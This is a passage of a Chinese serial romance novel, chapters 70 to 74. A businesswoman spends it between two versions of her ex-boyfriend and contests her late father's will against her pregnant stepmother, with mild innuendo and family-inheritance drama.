林念禾抬眼看了他一下,表情可怜巴巴的,跟条没人要的小狗似的,尾巴坠在身后一扫一扫。 很要命。 她就喜欢霍锌这张脸,对她露出脆弱无力的样子。林念禾把这归结于先前谈恋爱时,他老是想着管控自己。俗话说的好,不在沉默中变态,就在沉默中爆发。 于是就这么水灵灵的变态了。 无法拒绝衣衫完整的小霍摆出没人要的可怜样,更无法拒绝床上的霍锌装可怜。 如果说别的男人装可怜会让她心软,那霍锌装可怜对她的杀伤力大概是百分之两百。 她不动声色拒绝,"不能。" "你们就这么把我一个人丢在家里" "家里还有狗,你不算一个人。"林念禾手贴上门把,"乖点行吗,等我最近忙完再陪你。" 话里带着自己都没察觉出来的暧昧。 小霍后背靠上墙壁,欲言又止,最后红着耳朵目送她离开。 门砰的一声被带上,屋内安静下来。他静静站了一会儿,努力让自己不去想霍锌那狗东西跟她一块儿走的事。 林念禾正是特殊时期,他不能像个傻叉一样,缠着她。那样不仅会让她对自己反感,还会降低自己的格调,跟个胡搅蛮缠的三儿似的。 裤腿被东西咬住,小霍低眉看见小狗撕扯着那块衣物,径直弯腰把它抱起来往沙发去。 霍锌的猫也被抱下楼,放在林念禾这儿。 他刚坐到沙发上,那只三花猫悄无声息地凑过来,飞快地举着前爪猛锤两下小霍怀里的狗。 等小霍反应过来想拉开它俩,猫已经跳下沙发,慢慢悠悠地朝阳台去。 再低头一看,怀里的狗拼命地往外拱,落地,追到猫后面。 又是结实的两个大耳刮。 顿时,家里猫飞狗跳。 "……" 小霍手悬在空中,一时半会儿不知道怎么劝它们不要打架。 猫和狗都这样了。 主人们的关系想必也就那样。 霍锌这辈子都不可能上位成功。 他暗暗诅咒了一番,起身拉架。 车里, 林念禾给助理回完信息,收起手机,抬眼在后视镜中对上霍锌的目光。 只稍一眼,司机很有眼色地把隔音板升上去。 她摩挲了下指腹,想起昨天故意卖惨,骗他真心流露,莫名有些心虚。 陆氏不是小企业,霍锌再厉害也得掂量掂量自己的本事,头一热拿着国内全部身家跟她一起玩股权大战,说不准就会一夜回到解放前,流落街头。 从某种程度上来说,她的前男友可谓是情真意切了。 林念禾一心虚,脑子里就开始天马行空。昨晚临睡前,霍锌蹦出来的那句话仿佛变成一个锚点,丝丝缕缕的信息绕着它展开,织出一张大网。 窗外街景飞速后退。 她一边想着心事,手不自觉钻进他的衣角。 霍锌今天穿的正装,衬衫被固定住,她摸不到最里层的皮肤,转而去摸他腿上的衬衫夹。 隔着西装裤薄薄一层的布料,林念禾很轻易地能感受到指尖那块儿的硬物。 一个皮质圈锢在大腿上。 很涩情。 大四,霍锌刚进自家公司,开始穿正装。介于青年和成人的中间,那张初张开的脸,锋芒毕露。她那段时间,就喜欢在他身上摸索。 穿着西装的霍锌,让她感到新鲜。 领带会变成她用来绑人的玩具,衬衫会变成她的睡衣。一起下班时,她发着呆,常常手就摸到他的身上,无意识地来回捏掐。力道一般都不是很大,但会让霍锌偷偷爽到。 比如此时,林念禾的脑子里刚脑补出他坐着轮椅偷窥自己婚礼的画面,耳边倏地的一声轻喘。 声音很小,在密闭而安静的空间里,足以清楚地传进她的耳朵。 林念禾反应过来自己的手在哪儿后,心肝颤抖两下,试图若无其事地移开。 挪开两寸的手倏地落入他的掌心,霍锌攥着她的指尖不放,语调平淡,"怎么老改不了这毛病" 他抗议过很多次,林念禾乱摸。 如果在床上,她摸也就摸了,可不分场合地对他动手,只有他自己默默忍受。 "哦,那你不也叫的挺高兴的。" 话尾一落,林念禾陷入沉默。 她对天发誓自己没想开黄腔,真的是嘴比脑子快。 死一样的寂静中,霍锌轻轻笑了一下。 "如果你能和其他男人离远点,我能叫的更高兴。" "……" 她哽了一会儿,"没想到你现在变得这么变态。" "我以为你会喜欢这样。" 林念禾正眼瞧他,眼睛里充满了不可思议,"你脑子在国外待坏了?" 往事一旦被重新提起,就不再是闭口不提的禁忌。 她顿了两秒,很自然地顺着话说,"看来你在国外生活挺丰富。" "很枯燥,每天都是待在医院里进行康复训练。" 生活里唯一的调味剂,是她和江予州的生活碎片。 一些日常的外出照片,让他在那半年里夜不能寐,食不下咽。 气氛缓慢地变了。 霍锌望着她的脸。林念禾今天没有化妆,为了贴合孝女的角色,整个人素面朝天,巴掌大的脸,皮肤细腻,长黑的睫毛像把小扇子。 她的表情一点点僵硬住,半晌说不出话。 他在心里叹了口气。卖惨好像卖过头了。 "也没有多严重,只住了两个月就出来了。" "你什么时候回国的?" "一年前。" 她算了一下时间。自己蹲在他墓碑前烧纸的时候,他正躺在大洋彼岸的医院里等待康复。 挺地狱笑话。 至于回国之后,霍锌干了些什么,林念禾不敢去想。 她下意识觉得,这人不会老实地上班下班,带着公司走到最高点。闲暇时刻,说不定会躲在某个角落注视她的生活。 跟只老鼠一样。 但如果这只老鼠是霍锌,有点奇怪的可爱。 车到医院后,霍锌没有下去而是待在后座等她。 宋特助昨晚待了一个晚上,早上刚回家。守在病房外的是其他下属,还有老宅的人。 林念禾隔着厚厚的玻璃瞧了一眼陆建林,转头去找医生谈话。 得到的消息和她手里掌握的差不多,医生委婉地让她准备准备后事,多陪陪病人。 没成想,这一准备,就准备了好几天。 连着三天,林念禾从刚开始的焦虑到后面的心如止水,甚至淡淡地开始期盼陆建林快点死,好让她趁早火化。 她脸色苍白地坐在长椅上,都不需要格外化妆,这几天光是部署各种事情,就瘦了好几斤。 正当林念禾思考她爹什么时候才能上天堂的时候,一道身影闯进视野。 她打量了一下来人的脸,眼睛和温诗如出一辙,是温诗带在身边的表弟。 "林总,温姐想和您谈谈。" 一场博弈中,手里筹码更少的总会率先沉不住气。 "不去。"林念禾拍了拍衣角,视若无睹,"没时间。" 男人手紧了紧,没想到她会干脆利落地拒绝自己,“我们没有恶意,诚意想和您合作。” "合作"她微抬头,"她肚子的里是男是女都不好说,拿什么跟我谈合作" "回去吧,我现在没心情跟她谈。毕竟我爸躺在病床上快要死了,我总得守在他跟前。" 说完,林念禾冷着脸不再多言。 男人等了一会儿,见她态度坚决,转身回去。 第二天,男人还是照常来请林念禾谈话。 相较昨天的两手空空,他还多带了一份文件袋。 林念禾接过拆开,里面是几张照片。照片里负责陆建林遗嘱的律师从陆家老宅离开,上方的时间水印,恰好是温诗查出来怀孕后的不久。 她把照片装回去,"威胁我" "我们是真心跟您合作,没有其他意思。至于更多的,林总得下楼和我姐姐当面谈谈。"魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-76 第71章 第71章 还要抱多久 自从医生建议养胎后,温诗就一直在医院住着。专属私人病房,空间够大,和套房没什么区别。 林念禾脚刚迈进房间,粗略扫了她一眼发现对方面色比之前红润不少。消瘦的脸颊甚至开始有了一些肉感,即使还未显怀,已经隐隐显现出母性。 房间里没有安排其他人,温诗似乎也不想让别人听见她们之间的谈话。 她沉默地坐下,出乎意料的安静。 温诗观察了一下她的表情,没看出什么特别的意味,一时半会儿不敢贸然开口。 空气静静胶着,缓慢流动的黑雾压在人的心头。 作为一个在娱乐圈摸爬滚打嫁进豪门的人,还不至于在心理博弈方面,输给一个二十多岁的女孩。 温诗含笑, “不想跟我说话?” 林念禾幽幽叹气,“没有,是在想我爸哪天才能死。” “……” 她被噎了一下,顿时不知道该说些什么。毕竟自己也正盼着陆建林去死。 “快了吧。” “那可说不好,温姨您自己也说过,千年的王八万年的龟,烂人一般都活的久。” 这几天熬夜都给快她熬坏了,做梦都是仪器滴滴的声音。她很想扒开陆建林的眼睛,趴在他耳边问问,他到底有什么遗愿没完成,硬是挺着一口气不撒手人寰。 儿子在肚子里,陆氏也蒸蒸日上。他到底有什么不满足? “你不怕我录音?” 话音一落,林念禾撩眸望向病床上的女人,温顺的气息底下透露出危险的警告。陆建林真是个蠢货,和她朝夕共处这么些年,把人当花瓶对待,结果最后死在花瓶手里。 早说了,男人不如女人,他早点把公司给她,也不至于有这么多幺蛾子出来。 “录音放出去,影响的是陆氏股份。” 如果想捞一笔快钱远走高飞,她大可以找各种证据告诉大众,林念禾是个白眼狼。继女和后妈,一贯是大众喜闻乐见的八卦热点。即使林念禾不孝,在骂完她之后,网民又会掉转矛头对着温诗指指点点。 吃力不讨好。 温诗卧薪尝胆这么多年,怎么可能甘心卖股份移民。 “我看过遗嘱,没有你的名字。”温诗说完这一句话,目光落在林念禾的脸上,不肯错过她任何的表情变化。 “没有就没有呗。”林念禾坦荡,“我这个人喜欢朝九晚五,自从来了陆氏,每天加班到十点。起的比鸡早,睡的比狗晚。” 原本波澜不惊的情绪终于有了起伏,“你见过凌晨的陆氏大楼吗?” “你知道公司的老东西有多听不懂人话吗?” “你知道我每天有开不完的会,看不完的文件,签不完的字。”她声音平缓,像死了一样的诡异,“你都不知道。” “自从我回来后,他就再也没管过公司一件事。我连路边看见个帅哥,都不敢上去说包养他,怕自己下班后失去世俗的念头,让对方以为我性冷淡。” “家里养的狗都快不认识我了。大禹治水三过家门而不入,我他爹的是为陆氏打工连家都不能回。” "我难道就不想老公孩子热炕头吗" 温诗嘴微张,瞳孔里满是震惊无措。 林念禾深吸一口气,恢复正常的模样,“对不起,有点激动。” “没、没事。”她顿了顿,“要喝水吗?” “谢谢,不渴。”林念禾像是上班上疯了一样般理智,“前几天,我前老板还给我发消息,让我回去上班。” 是她趴在霍锌怀里,摸着男人温软的胸肌时,发过来的消息。 徐寒大概半夜喝多了,又听了一些风言风语。字里行间,满满的小三味道。 霍锌拿起她的手机,没说什么,动作很快地把他拉黑,然后抬手将她的脸埋进他的胸口。 至于剩下的,林念禾现在回忆起来,还是觉得很美好。 “你打算把陆氏让给我?” 林念禾起身,“遗嘱上面写了你的名字,我还能跟你抢吗?” 她顺手拿起床头柜上的果盘,里面盛了切好的小块果肉。 温诗笑着,眼里却没多少笑意,“这么大方?” “当然,骗你我是狗。” “上百亿的资产拱手让我,我还真是有些惊讶。” “那你惊讶着吧。”林念禾不再多言,端起果盘往外走,“我回去看我爸了。” 门被阖上。 温诗久久出神,脑子里不知道在想些什么。 直到表弟进门,她才回神。 "姐,谈的怎么样?\" 温诗胡乱嗯了几声,抬头,"你刚问了什么?" 表弟重复问了一遍,就见她靠在床头,摸着被子,"挺好的。" 不是挺好,是特别好。 好到让她以为下一秒就能过上顶级富太的潇洒日子。 表弟摸摸脑袋,"好就行,我还以为得跟她勾心斗角好一阵。" 林念禾看起来就难对付。 说着话,他瞄到空着的床头柜,"姐,果盘呢?" 女朋友过两天要过生日,他最近忙的没空选生日礼物。今天早上来看温诗的时候,他看见那盘子好看,于是拍下来在网上搜了一下想买个同款放在家里。 一搜价格五位数。 顺丰哪有顺手快。直接拿了重新包装一下,就能送给女朋友当生日礼物。 温诗顺着他的话去看床头柜,空荡荡的,仿佛不曾有个盘子摆在上面。 温诗:…… 她偷她果盘! 一个连果盘都拿的人,能大方把陆氏让给自己 林念禾坐在楼下吃完了一盘的水果,半饱之后,走人回家。 跟定时上班打卡似的,霍锌来接她。 "今天不想吃日料了,我们回家吃吧。" 她在高压下,食欲总会特别强烈。这几天,虽然瘦了,但是该吃的一点都没少吃。 霍锌带着金丝眼镜,专注地看着平板上的工作内容,"我做还是阿姨做" "你做。"她想了一下,"算了,还是阿姨做吧。" "心疼我"他不知道哪根神经搭错了,偏头望她,目光灼灼。 "……" 林念禾是怕这人做完饭,小霍一边吃着,一边挑刺,两个人在饭桌上你来我往吵起来,最后让她选出一个对的。 霍锌一般情况下,会自持冷态,懒得跟他争辩。但也有偶尔没控制住的情况,到时候就会让林念禾左右为男。 她很想一边搂着一个,嘴里哄着宝贝别生气了。 手刚蠢蠢欲动,就被他们同时看了一眼。大有她但凡说出这种话,就立马从阳台跳下去的架势。 看吧,男人多,不见得是什么好事。 林念禾这么想着,抬手将霍锌的脸掰回去,敷衍,"工作吧。" 后者挑了挑眉,没说话。 六月份的天气,说变就变。 前脚到家,后脚天空乌云密布,黑沉沉的。几分钟之后,雨点砸下来,阳台噼里啪啦作响。 小霍今天休息,看见他俩同时回家,纵使心里再不舒服,也没表现出来。 没名没分的老男人,尽会贴在她身边。 霍锌摘下眼镜,挽起衣袖,走进厨房。他很自然地拿起挂在一边的围裙,手刚背过去,碰到一抹温热。 "不是说让阿姨做吗?"林念禾低头,帮他系好围裙,手指缠绕几下,打出一个 漂亮的蝴蝶结。 "比不得外面那位年轻,再不表现点好的,怕是更看不上我了。" "……" 她掐着他的腰,小声骂道,"脑袋进水了吗。外面那个不也是你,天天把自己当敌人,整个世界都找不出来第二个你这样的。" "我心眼小,眼里容不下一粒沙子。别说我自己了,就算是以前的你,也不能天天黏着你不放。" "照你这么说,那我结过婚,你不得气死了。" 霍锌握住她的手,"你跟他离婚了。" "过去的东西,就该扔掉。垃圾回收站里堆满了没人要的废物,江予州也很适合待在那儿。" "你说话好毒。"林念禾很想替自己的前夫说两句好话,但是想到他的醋性,于是默默把话咽了下去。 "背后说人坏话,是一件很没品的事。" "我能心平气和的站在这,跟你讨论前夫该放哪儿回收,就已经够有素质了。" "……" 她嗤了一声,原本想就此打住话题,莫名胜负欲上来,问,"这么喜欢我,那还跟我分手,早干嘛去了?结婚的时候也没见你随份子。" 空气凝固,林念禾说完,顿时拔腿就跑。 衣领被人倏地拽住,落入一个熟悉的怀抱。 霍锌从后方环抱住她,垂下的眼睫遮住一片晦暗。头顶柔光撒落下来,屋外暴雨如注。 他声音无奈,"跑什么?" "我怕你狗急跳墙。" "我是狗" 林念禾偏头望了他一眼。 这是重点吗? "给你当狗挺快乐的。"他顺势亲了下她的嘴角,"狗会舔主人。今天晚上要试试吗?" 宠物狗舔的是主人的手,霍锌这种一米八多的人形犬舔哪块就不好说了。 "你……最近话好多。"她有点扛不住,以前不是这样的,霍锌保留一点节操,现在的他根本毫无尊严,什么羞耻的话都能说出口。 他笑了下,收紧胳膊。两具身体贴的愈发接近。 "就算我剩一口气,我爬也要爬到你婚礼现场。" 不幸的是,霍锌当时只剩下半口气。 林念禾听懂了他话里的弦外之音,陷入沉默。 半晌,倏地的两道声响。 她寻声看去,小霍面无表情站在门边,抬手敲了敲敞开的玻璃门。 "还要抱多久" 第72章 第72章潮湿 抱是没办法继续抱下去了。 林念禾抬手摸了下耳边的碎发,尴尬地想从厨房离开。身后人反而一动不动,像尊雕像似的,胳膊牢牢环住她的腰。 她避开小霍的目光,“放手。” “晚上想吃什么?” “随便,都行。”她想了下,“阿姨早上买过菜放在冰箱里,你自己决定。” 霍锌松开她,像是刚刚发现门外站着的人,抬头看了他一眼,“打算帮忙?” “没这个打算。” 小霍木着脸。 这段时间,两个人明来暗往的交手多次,一开始他还能占优势,仗着年轻的面孔在林念禾那儿捞点好处。后来,不知道霍锌是哪儿搭错筋还是鬼上身,越来越不要脸皮。 就算林念禾让他下跪,咬着东西爬过来,他都能笑意盎然的做到。 当然,他也能做。只不过,会在心理做出一番思想斗争,最后红着脸完成。 眼见气氛不对,林念禾推着小霍往外走,“行了,不帮忙就不帮忙,别在这儿堵着门。” 养两只比格都没养他们麻烦。 手心下的胳膊忽而动了动,她眼皮一跳,心觉这人肯定要炸毛作妖,"没有说你碍事的意思,你别乱想。" 还有一个礼拜高考,小霍没有学籍,索性没有报名。别人还在担忧能不能考上,他今天就开始休假了。 林念禾整天心思都挂在她还没死的爹身上,这段时间几乎没怎么和他独处过。 "心态放平和。"她使出杀手锏,"如果你不改变你小肚鸡肠的毛病,你迟早会被我甩的。" 他低头,林念禾正在一本正经地胡说八道。视野里,耳后往下,连着脖颈,泛起薄红。 心思微动,忽而抬手飞快地摸了下她后颈。 微凉的掌心猝不及防紧挨一瞬她的皮肤,林念禾顿时不说话,抬眸奇怪地看他。 小霍对上她的眼神,一秒,两秒…… 三秒过后,他唇瓣动了动。 “我在改。” 他知道自己身上的毛病很多,打他生下来,就是个高需求小孩,每天挂在爸爸妈妈身上要安全感,不会说话时,哭起来嗓门大到能掀翻整个霍家。 再长大一点,伴随着青春期的来临,跟父母就不像以前那么亲密。仿佛水池,只进不出,很难找到再让他有安全感的所属物。 林念禾,于他而言,是要握紧在手里的人。 有时候,他也会羡慕屋外生长的树和藤蔓,希望他们能像那样彼此缠绕,直到林念禾吸光他的血肉。 可惜,她不会那样做,她也不想那样做。 正常的是林念禾,不正常的是他。再这样下去,这段关系迟早走进死胡同,两人撞的头破血流。 二十四岁的霍锌,三年里躲进暗处,偷窥前女友的幸福。 光是脑补这画面,他都想去死了。 “不会被甩的。” 外面倏地一道闪电,几秒过后,雷声震天作响。 "……" 自信男是得遭雷劈。 林念禾站着落地窗前,远处街道,车水马龙,雨水跟瀑布似的从高楼外壁倾洒下来,黑压压的天,压的她心口发闷。 老天要是哪天真要劈死小霍,一定要劈准点,别误伤她。 两个人站在窗前静静地看了一会儿外景,等霍锌做好饭菜,才对视一眼,去餐厅。 林念禾动了两口,就放下筷子。 她吃不下去,喉咙里莫名堵着一团情绪。这很不对劲。 手机叮咚响了一下,是贺渺发的消息。虽然陆建林病危的消息被她封锁死了,但总有几个不怕报复只想博流量的新闻媒体,暗搓搓的发出点擦边新闻。 陆氏处理的很快。 在某种意义上,公关速度越快,代表消息越真实。 贺渺:【我老板跟我说你爸住院了,那你最近是不是得熬夜加班?】 林念禾:【有点忙。】 贺渺:【等会儿,我给你发个十全大补汤的方子,让你们家阿姨做了,你和霍锌一起补补。】 林念禾:【?】 【我不补,我身体挺好。】 贺渺当即发了一大长串语音。 林念禾手边没耳机,语音转文字。内容毫无营养,全是让她保重身体,当富婆享受美色的第一步是保重好身体。话末,还让霍锌补补。 年纪一大把,再不保养,更配不上林念禾。 接二连三的语音条看的她头脑发疼,手机上方倏地弹出一条消息。 耳边鸣声骤起,思绪在这一刻被按下暂停键。直到看完第二遍短信,她才站起来,往客厅走。 “我去趟医院,今天晚上不回来了。” “需要我陪你去吗?” 霍锌跟着她到玄关,三个人挤在门口。本就不大的地方,两个一米八多的男人往她跟前一站,林念禾顿时觉得空气都变稀薄了,鼻腔里都是他们的味道。 脑子里乱糟糟的,她居然还有闲心分辨了一下,冷松香味是霍锌,另一股没有那么拒人千里的则是小霍的。 “不用,我自己去。” 在场都是陆家人,带着霍锌去,不方便也不合适。 霍锌垂眼,“不带我,带他也行。” 他不方便露面,小霍带个口罩可以去。豪门家族没有外人想象的高端体面,他小时候就在爷爷的葬礼上,见过叔父彼此辱骂大打出手。打的上头了,甚至差点把他当作武器,扔了出去。 林念禾换好鞋,“你少脑补乱七八糟的东西。” 撂下这段话,她急匆匆地出门。 司机在车库等待,车驶进雨幕。 林念禾到医院的时候,陆家人已经差不多到齐了。除了之前的陆烨甸一家,还有公司的几位老创始人。 病房里,温诗跪在地上,握着陆建林的手哭得泣不成声,眼眶通红。 医生已经结束抢救,等着家属告别后再去拆除仪器。 林念禾站在门边,视野里的那张白色病床,变得愈来愈刺眼,直到眼前模糊一片。 几步路走的很缓慢,犹如陷在泥潭里步步艰难。 陆烨甸把温诗扶起来,“伯母节哀,再难 过也得想想肚子里的孩子。大伯在天上也肯定不想看见你因为他难过。” 陆建林躺在病床上,脸色灰败,唇色苍白,因为事发突然,医护急救不到两分钟,人就走了,这会儿准确来说,刚死没多久,听觉还没有消散。 林念禾一边擦泪,一边想陆建林听见这话估计能气死。按照他自私的性格,巴不得让温诗陪他下去。 温诗哭够了,“我们先出去吧,让他们父女两个单独说说话。” 再让她哭下去,她怕等会儿哭不出来,就麻烦了。 听到这话,一众人都觉得有道理,于是扶着温诗出去,把空间留给林念禾。 房间安静下来。 只有仪器的滴答声,还有自己的呼吸。 林念禾看向床上的人,悲伤随着眼泪从身体里抽离。没有悲伤,她就更不知道用哪种情绪去面对他。 恨吗。 挺恨的,恨他忽略自己,恨他不想养自己又为什么把她生下来。 可是她有妈妈,林母很爱她。在漫长的童年里,她不比其他孩子收获的爱少。外婆,妈妈,小姨,姨夫,每个人都给了她很多的爱,足够去弥补那点损失的父爱。 毕竟父爱如山,她身边的同学朋友大多有一个沉默寡言,在家庭里隐身的爸爸。 所以很长一段时间里,她都不明白为什么别人说她没爸爸是个可怜的小孩。 盯着那张毫无声息的脸好半天,林念禾终于想到了自己没来得及跟他说的话。 “我打算让我的孩子跟我姓林。” 陆建林这辈子最想要的是儿子,奈何他生不出儿子,退而求其次,想让她的孩子姓陆。 最好是个男孩,跟外公姓陆。这样陆家的香火又能继续传下去。 “我还打算把陆氏的名字改了。你给公司起的名字太土了,这年头谁家开公司用自己的姓做名字。” “你如果不同意,可以反抗。” 话末,林念禾等了几秒,“你不说话,我就当你同意了。” 说完这两件事,她没话了。 算够时间,她在房间里待满十分钟,才出来。 屋外一堆人,医护人员见她出来,紧跟着进去开始收拾遗体。 老宅那边已经布置好了,林念禾刚下车,就有佣人上来帮她胳膊上别黑布。按照A市的习俗,火化的前一天晚上,家人必须守灵。温诗怀着孕,不能熬夜,剩下的重担落在林念禾的身上。 纵使深夜下雨,陆宅依旧人来人往,只不过很安静。 佣人端来一碗粥让她垫垫肚子。林念禾道谢后接过,离开灵堂,随便找了个地方刚坐下来,眼前压下一片阴影。 面前人四十多岁,穿着一身严肃的黑色,正是公司里股份第二多的陈总。 “陈叔好。”林念禾放下碗,“您去休息吧。” 他们年纪大了,万一在陆家熬夜熬出个好歹来,她可担不起责任。 “你爸走之前最放心不下的就是你。”陈总坐下,神色唏嘘,似乎在回忆往昔。 “我都成年了,有什么放心不下的。”她顿了顿,仿佛想到什么,“反倒是他跟温姨的孩子,连自己的爸爸都没见过。” 陈总眼眸暗了暗,“那孩子也是命苦。” “前几天老陆还跟我说你明年结婚,要让你弟弟给你当花童。我们年纪大了,只想儿女好好的。他……” 说着说着,陈总有些哽咽。 林念禾将纸巾递过去,愧疚,“早知道我爸想让我结婚,我就应该听他的话老实去相亲。” 陈总擦泪的手一顿,“怪我,我不该跟你说这些。” 第73章 第73章釜底抽薪 在林念禾面前卖惨套不出什么有用的信息,陈总假情假意地掉了几滴眼泪,安慰几句话后,提步走人。 与其在这跟她大眼瞪小眼地熬下去,不如去睡觉。 林念禾捧着空碗,目送他离开。整个人像只泄气的皮球,靠着墙。 精神和□□的双重折磨,灵堂里悄悄的,耳边却隐隐环绕着各种哭声和争吵声。 她要是阎王就好了,在生死簿上把这些哭天抢地喊着舍不得陆建林的人名字全给划掉。 既然都舍不得,那么大家都去陪他下地狱。 半夜,雨停了。 熬到接近天亮,林念禾两眼发黑地费力站起来。 管家问她要不要先吃点东西再去睡觉。 她摆手拒绝,连句完整的话都说不出来,轻一脚重一脚地上楼回房间补觉。 睡了不到五个小时,林念禾就醒了。她把脸埋在枕头里,静静地闭着眼睛,试图再次入睡。 如果换作十七岁的自己,给张桌子倒头就睡,但对于二十七,即将二十八的林念禾,每次入睡前的准备不亚于信徒朝圣。 半晌,她认命般地翻了个身,伸手去够放在床头静音的手机。 昨晚那么大的动静,瞒是瞒不住的,她刚解锁手机,就有软件自动推送。各大媒体在争先抢后地报道陆氏创始人去世的消息,一开始大家都畏手畏脚不敢放真料,怕陆氏法务部告他们造谣。 但人真死了,就不算造谣,顶多算如实报道。 像野狗抢食死尸,每个人都恨不得趴在陆建林的尸体上咬下一口肉。 幸好早有准备,网民舆论都在可控范围内。 林念禾找了一个舒服的姿势,开始回消息。 因为很多私底下交情甚浅,只有利益往来,所以大家发的都大差不差。 像交互性很差的人机,她说一句,对方回三句模板化的说辞。 都回去重装升级系统吧…… 她正琢磨要怎么回复某个市政领导的消息,上方跳出来一个头像。 小霍估计算好她睡醒的时间。 【怎么样?】 【可以准备准备来吃席了。】 林念禾端起床边的水杯,喝完半杯,躺回去,看见页面上方还在不停跳显:对方正在输入中。 小霍删了又删,片刻后,发过来一句:【顶着和霍锌一样的脸单独去吗?还是和霍锌一起去】 【有什么区别?】 小霍:【我怕站他旁边,别人以为我是你俩的私生子。】 【】 林念禾从床上坐起来,抓了抓头发,开始打字,【我能生出来你这么大的好儿子】 小霍:【确实有点勉强。】 三秒后,【有点可惜。】 林念禾: 他们之间的爱情什么时候变质成了亲情 前男友说想当我儿子,还说可惜,这是碳基生物能想出的东西 【你想多了,别人只会觉得是我同时谈了两个。】 小霍:【哇塞。】 林念禾:…… 死孩子,别以为她看不出来他是在嘲笑自己。 结束对话,林念禾扔掉手机,重新塞进被窝。被他这么一打岔,心情好了不少,于是点开管家发过来的菜单,开始想想等会儿该吃些什么。 陆建林的葬礼办的隆重,不对公众开放。陆家每天人来人往,各路人士吊唁。温诗不知道用了什么眼药水,这几天眼眶一直很红。 需要表现悲伤的时候,眼睛一眨,就能落泪。站在旁边的林念禾看得一愣一愣的,甚至想问她用的是哪个牌子的眼药水,能不能送自己一瓶用用。 实在哭不出来,林念禾只能偷摸掐自己的大腿。掐着掐着,她不仅习惯了疼痛,还有点享受。 人果 然是在沉默中变态。 下葬的墓地是陆建林自己一早买好的,一整个半山腰都是陆家的私人财产,做成了私人墓地。 山脚下是一片湖泊,远处能看见城市的轮廓。 天气雾蒙蒙的,因为刚下过小雨,地面有些潮湿。 山间空气新鲜,林念禾站在最前方,面色沉肃,实际上偷吸氧气。 等她哪天要死了,就把陆建林挖出来,骨灰扔河里,然后把自己埋在这儿。 流程走完后,已经是上午十点多。 温诗被人搀扶着上车,一副悲伤过度的样子。临关上车门的前一秒,林念禾还能听见某位婶婶劝她为肚子里的孩子想想。 是该想想,她们都该好好想想以后的日子。 车门关闭,温诗闭眼假寐,心里烦躁不安。旁边坐着的中年女人像是没注意到她的脸色,还在喋喋不休地说着话。 翻来覆去就是那些母凭子贵的话,什么女人这一辈子还得是靠儿子,嫁出去的女儿是外人,老公跟自己没有血缘关系。大家都是亲戚,孩子生下来后,可以多走动,她家的小女儿今年也刚五岁。 温诗倏地出声,“路边停车。” 女人不明所以,“怎么了?” “麻烦你去后面那辆车,我头有些疼,想自己待一会儿。” 车停下来,女人脸色复杂,“换车太麻烦了,你身体不舒服,我正好能照顾你。” 温诗重新闭上眼,不再开口。 车门被司机打开,仿佛要将人拽下车。一米八多的身高挡在门口,一时间,女人也不敢胡搅蛮缠。 她老公是陆家的远亲,靠着关系才在公司里当上部门经理。 按理来说,她不用怕温诗。好死不死,谁都没算到这个肚子里的孩子。有了孩子,遗嘱继承人写的指不定是谁的名字。 她磨蹭了一会儿,还想求情,余光瞥见温诗冷漠的神色,嘴唇动了动,老实下车,换到后方车辆。 林念禾到老宅时,书房里的人都到齐了。 这个时间点选的很巧妙,被遗产律师点到名字的人可以去吃午饭,没点到的人直接从阳台上跳下去,和她爸说你好。 她一进去,几道视线不约而同地扫过来。温诗坐在沙发上,面色坦然。 剩余的目光里多多少少带着几分同情。 看来她即将是那个要去跳阳台的倒霉蛋。 “都看我干什么,我脸上有遗嘱” 话音刚落,落在身上的视线瞬间消散。 林念禾走到沙发坐下,房间内安静到落针可闻,遗产律师平静地开始宣读遗嘱。 “根据陆建林先生签署并经过认证的有效遗嘱,遗产的主要分配安排如下:……” 温诗放在腿间的手不自觉地攥紧,直到听见股份所有权,猛然松了口气。 她赌赢了。 巨大的兴奋一点点地侵蚀大脑,她面色平静,呼吸却控制不住地微颤。 半晌,温诗终于收拾好自己的情绪,朝坐在旁边的林念禾看去。 林念禾正出神不知道想些什么,可能在悲伤,但那些都和自己没关系了。她即将拥有这辈子都花不完的财富,从这一刻起,她的孩子的孩子的孩子,都会是有钱人,一出生就成为高楼的主人。 律师读完遗产主要分配问题,最后在末尾两行里一笔带过林念禾继承的东西。 她只得到了市郊的一套房子。 林念禾知道陆建林一向畜生,但没想到他畜生到这个地步。 她垂眼,神色晦暗。 众人当即屏息敛声,等着林念禾的怒火。某位有眼色的财产顾问,偷偷挪到窗外,挡住她可能跳楼的路线。 换做谁,谁都不能接受首富爸爸突然找上门说要弥补我,结果找到没多久,一脚把我踹回原阶级。 “宋律师,您宣布里的遗嘱里强调了继承人是他的亲生儿子。怎么证明她肚子里的孩子,是我爸亲生的?” 陆建林都烧成灰,哪还有DNA给他们检测。 “温姨和我爸没有领证,这个孩子算是私生子。既然是私生子,我就有权力质疑他们的亲子关系。” 温诗笑了下,“可以让它和你做DNA鉴定血缘关系。” “我前天已经向法院递交保函冻结的申请,四十八小时内裁定。” 林念禾轻飘飘的声音,却像一记重锤砸在对方的心口上,“估计还有两个小时出结果。对了,托管券商那边我也申请了冻结我爸名下股票,禁止买卖托管。” 其他人鸦雀无声,没想到她釜底抽薪,不管不顾地甚至要冻结股份,这不亚于把内斗搬到台面上告诉大众,陆家彼此在争夺遗产。 有钱人要面子,都不乐意把事情闹到这个份上。 林念禾是例外,她不仅要把事情闹大,还要撕破每个人虚伪的面皮。 “我先回去了。在亲子鉴定出来之前,我不会承认这份遗嘱上的一个字。” 她起身,扔下一窝还在发懵的专业人士。 今天的陆家格外安静,大家仿佛在等候未来的主人,思考自己以后的人生。 林念禾下楼,背后倏地响起几道杂乱的脚步声。 温诗的声音在下一秒出现,“过段时间,我就能去做胎儿亲子鉴定。” “你现在做的事情除了让公司股票下跌,剩余的都是无用功。陆建林偏心,只给你一套房子,而我能给你更多。” 林念禾转身,抬头对上她的眼睛。今天温诗穿了一件修身的黑色长裙,将她衬得单薄瘦弱。 胎儿仿佛在吸取母亲的精力,供给自己的生长。 她看起来比之前要更瘦,双眼却明亮,那些被藏于心底的野心终于暴露在外,毫不掩饰。 “我现在对遗产没什么兴趣。”林念禾看了一眼她的肚子,“更好奇这个孩子。” 第74章 第74章拿你的钱去养他 时隔好几天,回到自己的狗窝,林念禾开门看见自己的狗儿子,差点激动到掉眼泪。 天杀的,这些天吃了这么多苦,只得到一套房子。 都别活了。 她要把陆建林的骨灰混进水泥,糊在那套房子的墙上。 小狗昨天洗了澡,今天身上香香的。 林念禾把它抱起来,“走吧,跟妈妈睡觉。” 这几天都没怎么睡好,缺觉缺得她头疼。换到自己熟悉的环境,林念禾这一觉睡的格外沉。 迷迷糊糊间,听见房门被人打开。 